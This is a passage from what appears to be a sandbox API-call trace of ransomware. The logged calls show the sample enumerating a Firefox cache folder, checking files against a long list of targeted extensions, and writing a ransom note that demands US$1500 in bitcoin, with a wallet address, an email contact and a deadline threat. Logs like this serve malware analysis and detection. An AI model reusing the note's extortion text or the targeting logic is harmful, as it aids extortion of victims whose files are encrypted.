HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.gpg") returned 0 [0085.586] lstrlenA (lpString="*.gpg") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.vsd") returned 0 [0085.586] lstrlenA (lpString="*.vsd") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.odg") returned 0 [0085.587] lstrlenA (lpString="*.odg") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.raw") returned 0 [0085.587] lstrlenA (lpString="*.raw") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.nef") returned 0 [0085.587] lstrlenA (lpString="*.nef") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.svg") returned 0 [0085.587] lstrlenA (lpString="*.svg") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.psd") returned 0 [0085.587] lstrlenA (lpString="*.psd") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.vmx") returned 0 [0085.587] lstrlenA (lpString="*.vmx") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.vmdk") returned 0 [0085.587] lstrlenA (lpString="*.vmdk") returned 6 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.vdi") returned 0 [0085.587] lstrlenA (lpString="*.vdi") returned 5 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.lay6") returned 0 [0085.587] lstrlenA (lpString="*.lay6") returned 6 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mpeg") returned 0 [0085.587] lstrlenA (lpString="*.mpeg") returned 6 [0085.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.djvu") returned 0 [0085.588] lstrlenA (lpString="*.djvu") returned 6 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.tiff") returned 0 [0085.588] lstrlenA (lpString="*.tiff") returned 6 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.backup") returned 0 [0085.588] lstrlenA (lpString="*.backup") returned 8 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.pdf") returned 0 [0085.588] lstrlenA (lpString="*.pdf") returned 5 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.cert") returned 0 [0085.588] lstrlenA (lpString="*.cert") returned 6 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.docm") returned 0 [0085.588] lstrlenA (lpString="*.docm") returned 6 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.xlsm") returned 0 [0085.588] lstrlenA (lpString="*.xlsm") returned 6 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.dwg") returned 0 [0085.588] lstrlenA (lpString="*.dwg") returned 5 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.nd") returned 0 [0085.588] lstrlenA (lpString="*.nd") returned 4 [0085.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.tlg") returned 0 [0085.588] lstrlenA (lpString="*.tlg") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.lgb") returned 0 [0085.589] lstrlenA (lpString="*.lgb") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mov") returned 0 [0085.589] lstrlenA (lpString="*.mov") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.xdw") returned 0 [0085.589] lstrlenA (lpString="*.xdw") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.ods") returned 0 [0085.589] lstrlenA (lpString="*.ods") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.wav") returned 0 [0085.589] lstrlenA (lpString="*.wav") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mp3") returned 0 [0085.589] lstrlenA (lpString="*.mp3") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.aiff") returned 0 [0085.589] lstrlenA (lpString="*.aiff") returned 6 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.flac") returned 0 [0085.589] lstrlenA (lpString="*.flac") returned 6 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.m4a") returned 0 [0085.589] lstrlenA (lpString="*.m4a") returned 5 [0085.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.csv") returned 0 [0085.589] lstrlenA (lpString="*.csv") returned 5 [0085.590] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8cd19f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="B60F3d01", cAlternateFileName="")) returned 0 [0085.590] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0085.590] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 1 [0085.590] lstrcmpA (lpString1=".", lpString2="A8") returned -1 [0085.600] lstrcmpA (lpString1="..", lpString2="A8") returned -1 [0085.600] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*") returned="*.*" [0085.600] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\", lpString2="A8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8" [0085.600] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned 96 [0085.600] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0085.602] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.602] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.602] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.602] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.602] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="C3B7Bd01", cAlternateFileName="")) returned 1 [0085.602] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0085.602] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C3B7Bd01") returned 1 [0085.602] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C3B7Bd01") returned 1 [0085.602] lstrcmpiA (lpString1="", lpString2="C3B7Bd01") returned -1 [0085.602] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*") returned="*.*" [0085.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\" [0085.603] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\") returned="" [0085.603] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\HOW TO DECRYPT FILES.txt" [0085.603] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\how to decrypt files.txt")) returned 0xffffffff [0085.603] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0085.604] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0085.604] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0085.606] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.606] CloseHandle (hObject=0xa8) returned 1 [0085.606] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\", lpString2="C3B7Bd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01" [0085.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.ems") returned 0 [0085.606] lstrlenA (lpString="*.ems") returned 5 [0085.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.db") returned 0 [0085.606] lstrlenA (lpString="*.db") returned 4 [0085.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.dbf") returned 0 [0085.606] lstrlenA (lpString="*.dbf") returned 5 [0085.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.myox") returned 0 [0085.606] lstrlenA (lpString="*.myox") returned 6 [0085.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.myo") returned 0 [0085.607] lstrlenA (lpString="*.myo") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbw") returned 0 [0085.607] lstrlenA (lpString="*.qbw") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbb") returned 0 [0085.607] lstrlenA (lpString="*.qbb") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbm") returned 0 [0085.607] lstrlenA (lpString="*.qbm") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbo") returned 0 [0085.607] lstrlenA (lpString="*.qbo") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbx") returned 0 [0085.607] lstrlenA (lpString="*.qbx") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qba") returned 0 [0085.607] lstrlenA (lpString="*.qba") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qby") returned 0 [0085.607] lstrlenA (lpString="*.qby") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qbj") returned 0 [0085.607] lstrlenA (lpString="*.qbj") returned 5 [0085.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.ofx") returned 0 [0085.607] lstrlenA (lpString="*.ofx") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.qif") returned 0 [0085.608] lstrlenA (lpString="*.qif") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mye") returned 0 [0085.608] lstrlenA (lpString="*.mye") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mbox") returned 0 [0085.608] lstrlenA (lpString="*.mbox") returned 6 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.eml") returned 0 [0085.608] lstrlenA (lpString="*.eml") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.pst") returned 0 [0085.608] lstrlenA (lpString="*.pst") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.ost") returned 0 [0085.608] lstrlenA (lpString="*.ost") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.idx") returned 0 [0085.608] lstrlenA (lpString="*.idx") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.dbx") returned 0 [0085.608] lstrlenA (lpString="*.dbx") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.sql") returned 0 [0085.608] lstrlenA (lpString="*.sql") returned 5 [0085.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mdb") returned 0 [0085.609] lstrlenA (lpString="*.mdb") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.fdb") returned 0 [0085.609] lstrlenA (lpString="*.fdb") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.wab") returned 0 [0085.609] lstrlenA (lpString="*.wab") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.dat") returned 0 [0085.609] lstrlenA (lpString="*.dat") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.txt") returned 0 [0085.609] lstrlenA (lpString="*.txt") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.jpeg") returned 0 [0085.609] lstrlenA (lpString="*.jpeg") returned 6 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.jpg") returned 0 [0085.609] lstrlenA (lpString="*.jpg") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.png") returned 0 [0085.609] lstrlenA (lpString="*.png") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.php") returned 0 [0085.609] lstrlenA (lpString="*.php") returned 5 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.cs") returned 0 [0085.609] lstrlenA (lpString="*.cs") returned 4 [0085.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.cpp") returned 0 [0085.610] lstrlenA (lpString="*.cpp") returned 5 [0085.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.rar") returned 0 [0085.610] lstrlenA (lpString="*.rar") returned 5 [0085.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.zip") 